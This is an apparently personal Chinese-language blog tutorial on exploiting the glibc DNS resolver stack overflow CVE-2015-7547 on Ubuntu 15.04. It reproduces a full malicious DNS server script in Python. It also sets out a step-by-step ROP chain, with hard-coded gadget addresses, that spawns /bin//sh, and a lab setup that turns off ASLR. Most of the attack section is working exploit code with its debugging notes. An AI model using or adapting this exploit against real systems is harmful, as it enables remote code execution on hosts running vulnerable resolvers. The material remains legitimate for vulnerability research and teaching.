盒子
盒子
文章目录
  1. Ⅰ、实验环境
    1. ① 操作系统和 glibc 版本
    2. ② 准备工作
    3. ③ POC
  2. Ⅱ、栈布局
    1. ① gdb 调试下栈布局
    2. ② 运行过程中,实际栈布局
  3. Ⅲ、非零校验
  4. Ⅳ、free 指针处理
  5. Ⅴ、构造 shellcode
  6. Ⅵ、调整 parameter
    1. ① 查看参数地址
    2. ② 绘制整体栈布局
      1. (1) gdb 中栈布局
      2. (2)实际运行时 栈布局
  7. Ⅶ、调整返回地址
  8. Ⅷ、参考文献

Linux glibc 缓冲区溢出漏洞(CVE-2015-7547) shellcode 编写

经过一个星期的艰苦奋斗,Linux glibc 缓冲区溢出漏洞(CVE-2015-7547) POC 终于出炉了!!!!
漏洞分析请参考 Linux glibc 缓冲区溢出漏洞分析(CVE-2015-7547) 分析
可是我把 ASLR 关了,不算太完美,希望以后继续奋斗。如果有大神弄出来了,一起学习学习,我的邮箱 huirong_star@163.com

Ⅰ、实验环境

① 操作系统和 glibc 版本

  • 操作系统:Ubuntu 15.04
  • 调试器:GDB
  • glibc版本:glibc2.20

② 准备工作

  1. 关闭 ASLR

    1
    2
    3
    sudo su
    echo 0 > proc/sys/kernel/randomize_va_space
    exit

  2. 设置core dump文件生成

    1
    ulimit -c 1024

    Tips:此设置方法只对当前终端有效,如果在另一终端运行程序,需重新设置一次。

  3. 配置本地 DNS 服务器
    运行poc的python服务器之前,修改/etc/resolv.conf配置,将域名服务器改为127.0.0.1,本机器会无法正常访问网页。
    1
    nameserver 127.0.0.1

③ POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
#!/usr/bin/python
#
# Copyright 2016 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <fjserna@google.com>
# Gynvael Coldwind <gynvael@google.com>
# Thomas Garnier <thgarnie@google.com>
import socket
import time
import struct
import threading
IP = '127.0.0.1' # Insert your ip for bind() here...
ANSWERS1 = 184
terminate = False
last_reply = None
reply_now = threading.Event()
def dw(x):
return struct.pack('>H', x)
def dd(x):
return struct.pack('>I', x)
def dl(x):
return struct.pack('<Q', x)
def db(x):
return chr(x)
def udp_thread():
global terminate
# Handle UDP requests
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_udp.bind((IP, 53))
reply_counter = 0
counter = -1
answers = []
while not terminate:
data, addr = sock_udp.recvfrom(1024)
print '[UDP] Total Data len recv ' + str(len(data))
id_udp = struct.unpack('>H', data[0:2])[0]
query_udp = data[12:]
# Send truncated flag... so it retries over TCP
data = dw(id_udp) # id
data += dw(0x8380) # flags with truncated set
data += dw(1) # questions
data += dw(0) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query_udp # question
data += '\x00' * 2500 # Need a long DNS response to force malloc
answers.append((data, addr))
if len(answers) != 2:
continue
counter += 1
if counter % 4 == 2:
answers = answers[::-1]
time.sleep(0.01)
sock_udp.sendto(*answers.pop(0))
reply_now.wait()
sock_udp.sendto(*answers.pop(0))
sock_udp.close()
def tcp_thread():
global terminate
counter = -1
#Open TCP socket
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_tcp.bind((IP, 53))
sock_tcp.listen(10)
while not terminate:
conn, addr = sock_tcp.accept()
counter += 1
print 'Connected with ' + addr[0] + ':' + str(addr[1])
# Read entire packet
data = conn.recv(1024)
print '[TCP] Total Data len recv ' + str(len(data))
reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0])
print '[TCP] Request1 len recv ' + str(reqlen1)
data1 = data[2:2+reqlen1]
id1 = struct.unpack('>H', data1[0:2])[0]
query1 = data[12:]
# Do we have an extra request?
data2 = None
if len(data) > 2+reqlen1:
reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0])
print '[TCP] Request2 len recv ' + str(reqlen2)
data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2]
id2 = struct.unpack('>H', data2[0:2])[0]
query2 = data2[12:]
# Reply them on different packets
data = ''
data += dw(id1) # id
data += dw(0x8180) # flags
data += dw(1) # questions
data += dw(ANSWERS1) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query1 # question
for i in range(ANSWERS1):
answer = dw(0xc00c) # name compressed
answer += dw(1) # type A
answer += dw(1) # class
answer += dd(13) # ttl
answer += dw(4) # data length
answer += 'D' * 4 # data
data += answer
data1_reply = dw(len(data)) + data
if data2:
data = ''
data += dw(id2)
data += 'B' * (2106)
data += dw(0) # &ans2p_malloced
data += dw(0)
data += 'B' * (8)
data += struct.pack('<I',0xbfffe1c0) #host_buffer.buf
data += struct.pack('<I',0x0804c3a8) #host_buffer.buf
data += 'B' * (12)
data += struct.pack('<I',0xb7fd3000)
data += struct.pack('<I',0xb7e23301)
data += struct.pack('<I',0x00000420)
data += struct.pack('<I',0xbfffef68)
data += struct.pack('<I',0xb7e59ef4) #add esp 0x1c
data += struct.pack('<I',0x08048653) # &name
data += struct.pack('<I',0xbfffeee8) # &pat
data += struct.pack('<I',0xbfffe9f0) # &buffer
data += struct.pack('<I',0x00000420) # &buflen
data += struct.pack('<I',0xbfffeee4) # &errnop
data += struct.pack('<I',0xbfffeed0) # &herrnop
data += struct.pack('<I',0x00000000) # &ttlp
data += struct.pack('<I',0xb7f183e0) #pop ecx;pop eax;ret
data += '/bin'
data += struct.pack('<I', 0x0804a018) # @ .data
data += struct.pack('<I', 0xb7e5f37f) # mov [eax] ecx ;;
data += struct.pack('<I', 0xb7f183e0) # pop ecx ; pop eax ;;
data += '//sh'
data += struct.pack('<I', 0x0804a01c) # @ .data + 4
data += struct.pack('<I', 0xb7e5f37f) # mov [eax] ecx ;;
data += struct.pack('<I', 0xb7e706de) # xor eax eax ;;
data += struct.pack('<I', 0xb7e5fadb) # pop ecx ; pop edx ;;
data += struct.pack('<I', 0x0804a020) # @ .data + 8
data += struct.pack('<I', 0x90909090) #
data += struct.pack('<I', 0xb7e60514) # mov [ecx] eax ; or eax -0x1 ;;
data += struct.pack('<I', 0xb7e5fadb) # pop ecx ; pop edx ;;
data += struct.pack('<I', 0x0804a020) # @ .data + 8
data += struct.pack('<I', 0x0804a020) # @ .data + 8
data += struct.pack('<I', 0xb7e4d646) # pop ebx ;;
data += struct.pack('<I', 0x0804a018) # @ .data
data += struct.pack('<I', 0xb7e706de) # xor eax eax ;;
data += struct.pack('<I', 0xb7f65c56) # add eax 0xb ;;
data += struct.pack('<I', 0xb7fdca70) # int 0x80 ;;
data2_reply = dw(len(data)) + data
else:
data2_reply = None
reply_now.set()
time.sleep(0.01)
conn.sendall(data1_reply)
time.sleep(0.01)
if data2:
conn.sendall(data2_reply)
reply_now.clear()
sock_tcp.shutdown(socket.SHUT_RDWR)
sock_tcp.close()
if __name__ == "__main__":
t = threading.Thread(target=udp_thread)
t.daemon = True
t.start()
tcp_thread()
terminate = True

此 POC 基于 google 的溢出POC。
核心部分,代码 line 151 ~ 194 data的构造。
Tips:因为我把 ASLR 关了,此 POC 并不是通用的,不同机器,可能 gadget 的地址不一样。

不过不要紧,本文将一步步带领大家构造 shellcode,加深对 ROP 的理解。

Ⅱ、栈布局

Tips:变量在 gdb 调试过程中的位置,和实际运行时的位置是有差别的

此时 core 文件就显得尤为重要,当程序崩溃时,内核把该程序当前内存映射到core文件里。因此 core 文件保存的是程序运行出错时的实际地址。

① gdb 调试下栈布局

根据上篇文章分析,可以绘制出 gdb 调试下栈空间:

② 运行过程中,实际栈布局

变量相对位置固定,只是基址变了,因此可以通过修改源码,打印 stackbuffer 的起始位置,绘制实际栈布局。

stackbuffer 是在 _nss_dns_gethostbyname4_r 函数中分配的

1
host_buffer.buf = orig_host_buffer = (querybuf *) alloca (2048);

在此 buffer 分配空间之后,free 之前的任意位置,打印出变量地址。

1
printf("&host_buffer.buf = %p host_buffer.buf = %p \n",&host_buffer.buf , host_buffer.buf);


分配空间之后,立即打印,以免后续覆盖,影响结果。

运行 poc

buffer 起始地址 0xbfffe1c0,栈布局如下:

Ⅲ、非零校验

了解 _nss_dns_gethostbyname4_r 栈结构之后,首先对其进行溢出测试。
修改py文件中TCP发送的 data 数据长度。将数据长度设置为 0x800 + 0x6C = 0x86C,将发送的数据修改为 0
dw 转换后占两个字节,db 将 int 转为 char 占一个字节

根据执行结果可知,在__libc_res_nquery的262行,对hp和hp2进行非零校验。

将 data 换成非溢出长度,打印出此变量地址

重新编译运行 POC,在 gdb 下调试,查看 hp 和 hp2 的位置。

因此 hp 和 hp2 分别位于 0xbfffe9ac 和 0xbfffe9a8,hp和hp2分别指向申请的堆空间和栈空间。

因此 gdb 中栈空间布局:

将 hp 和 hp2 覆盖成 0

将 hp 和 hp2 换成之前打印出来的值:

hp2:0xbfffe1b0,时刻注意 gdb 中调试地址和程序实际地址不一样,编写 shellcode 时,填写实际运行地址

Ⅳ、free 指针处理

淹没到返回地址之前

在 gdb 中调试 core 文件,此时看到的是运行时的实际地址,所以,EBP:0xbfffea18

在 _nss_dns_gethostbyname4_r 中会检测是否在解析的过程中申请了新的堆空间,如果申请了,则会对该空间进行free。

_nss_dns_gethostbyname4_r 函数的最后:

即使 hp2(ans2p) 和 hp(host_buf) 通过了非零验证,但 free 时仍然会出错。此时ans2p 修改为 0xbfffe1b0,栈空间地址,不能释放,因此free 出错,此时需修改 ans2p_malloced 为0,让条件判断不成立。
通过源码调试 和 gdb 分析,可得出栈布局

修改 poc 中 ans2p_malloced 为0

此时 free 没有错误,但是依然断错,说明在 host_buf 到 EBP 之间的一些内部变量不能被覆盖为 0x42424242,在后续执行程序过程中依然会用到。
在 gdb 中查看这些变量的值,并填充在 shellcode 对应位置。

时刻注意,gdb 中观察到的地址,和程序实际运行地址不一样,gdb调试时,EBP:0xbfffe9c8

不覆盖 host_buf 到 EBP 之间的变量

gdb 调试,查看变量值

同时可以看到,ans2p_malloced 为0,只执行一次 free,因为 host_buffer.buf指向堆空间,可以正常释放,因此不会出错。

经过反复试验,只用覆盖 EBP 之前的三个变量,因此 data 构造为

一定要注意,EBP 换成 0xbfffef58,而不是在 gdb 中看到的 0xbfffef08,不然会出段错。时刻注意 gdb 中的地址和程序实际运行地址不一样
转换方法
gdb中 &EBP:0xbfffe9cc EBP:0xbfffef08
实际运行 &EBP:0xbfffea1c ,根据相对位置不变,可得出 EBP = &EBP + (&EBP - EBP) = 0xbfffef58

Ⅴ、构造 shellcode

构造 shellcode 不是本教程重点,关于如果构造 ROP shellcode,请参考我的博客 ROP exploit 编写

shellcode 功能:执行 system(“/bin/shell”)
gadgets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pop ecx;pop eax;ret
/bin
@.data
mov [eax] ecx;ret
pop ecx;pop eax;ret
@.data + 4
mov [eax] ecx;ret
xor eax eax;ret
pop ecx;ret
@.data + 8
mov [ecx] eax;ret
pop ecx;pop edx;ret
@.data + 8
@.data + 8
pop ebx;ret
@.data
add eax 0xb;ret
int 0x80;ret

根据之间的教程,查找对应 gadget 的实际地址。由于关闭了 ASLR,不同机器,实际地址可能不一样,我建议大家自己查找,也可加强 ROP shellcode 理解。
构造好的 data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
data = ''
data += dw(id2)
data += 'B' * (2106)
data += dw(0) # &ans2p_malloced
data += dw(0)
data += 'B' * (8)
data += struct.pack('<I',0xbfffe1b0) #ans2p
data += struct.pack('<I',0x0804c3a8) #host_buffer.buf
data += 'B' * (12)
data += struct.pack('<I',0xb7fd3000)
data += struct.pack('<I',0xb7e23301)
data += struct.pack('<I',0x00000420)
data += struct.pack('<I',0xbfffef58) # ebp
data += struct.pack('<I',0xb7f183e0) #pop ecx;pop eax;ret
data += '/bin'
data += struct.pack('<I', 0x0804a018) # @ .data
data += struct.pack('<I', 0xb7e5f37f) # mov [eax] ecx ;;
data += struct.pack('<I', 0xb7f183e0) # pop ecx ; pop eax ;;
data += '//sh'
data += struct.pack('<I', 0x0804a01c) # @ .data + 4
data += struct.pack('<I', 0xb7e5f37f) # mov [eax] ecx ;;
data += struct.pack('<I', 0xb7e706de) # xor eax eax ;;
data += struct.pack('<I', 0xb7e5fadb) # pop ecx ; pop edx ;;
data += struct.pack('<I', 0x0804a020) # @ .data + 8
data += struct.pack('<I', 0x90909090) #
data += struct.pack('<I', 0xb7e60514) # mov [ecx] eax ; or eax -0x1 ;;
data += struct.pack('<I', 0xb7e5fadb) # pop ecx ; pop edx ;;
data += struct.pack('<I', 0x0804a020) # @ .data + 8
data += struct.pack('<I', 0x0804a020) # @ .data + 8
data += struct.pack('<I', 0xb7e4d646) # pop ebx ;;
data += struct.pack('<I', 0x0804a018) # @ .data
data += struct.pack('<I', 0xb7e706de) # xor eax eax ;;
data += struct.pack('<I', 0xb7f65c56) # add eax 0xb ;;
data += struct.pack('<I', 0xb7fdca70) # int 0x80 ;;


即使构造好了 shellcode 依然会出断错。

Ⅵ、调整 parameter

① 查看参数地址

稍安勿躁,继续使用 gdb 调试,编写实际shellcode的过程本身就很繁琐,大家要有耐心。

在调用 gaih_getanswer 时,不能访问参数指向的内存区。
细心的读者,可能发现了,0x6269622f 即 /bin,说明我们的 shellcode 覆盖了 gaih_getanswer 使用的参数。

在程序出错之前,打印参数的地址

② 绘制整体栈布局

根据上述所有的分析,可得出栈布局

(1) gdb 中栈布局

(2)实际运行时 栈布局

Ⅶ、调整返回地址

因为返回地址后面有七个参数,返回地址处要调整为 add esp 0x1c;ret
这样第一条 gadget 返回之后,esp 增大 28,忽略了这七个参数,跳转到第二条gadget pop ecx;pop eax;ret 出执行,然后执行完整个 shellcode

shellcode 在本教程第一部分,大家可以返回查看。

运行 client

OK!!! shellcode成功运行,真是功夫不负有心人!!!!

Ⅷ、参考文献

Proof of concept for CVE-2015-7547
CVE-2015-7547的漏洞分析

支持一下
走过的,路过的,请支持一下我 n(*≧▽≦*)n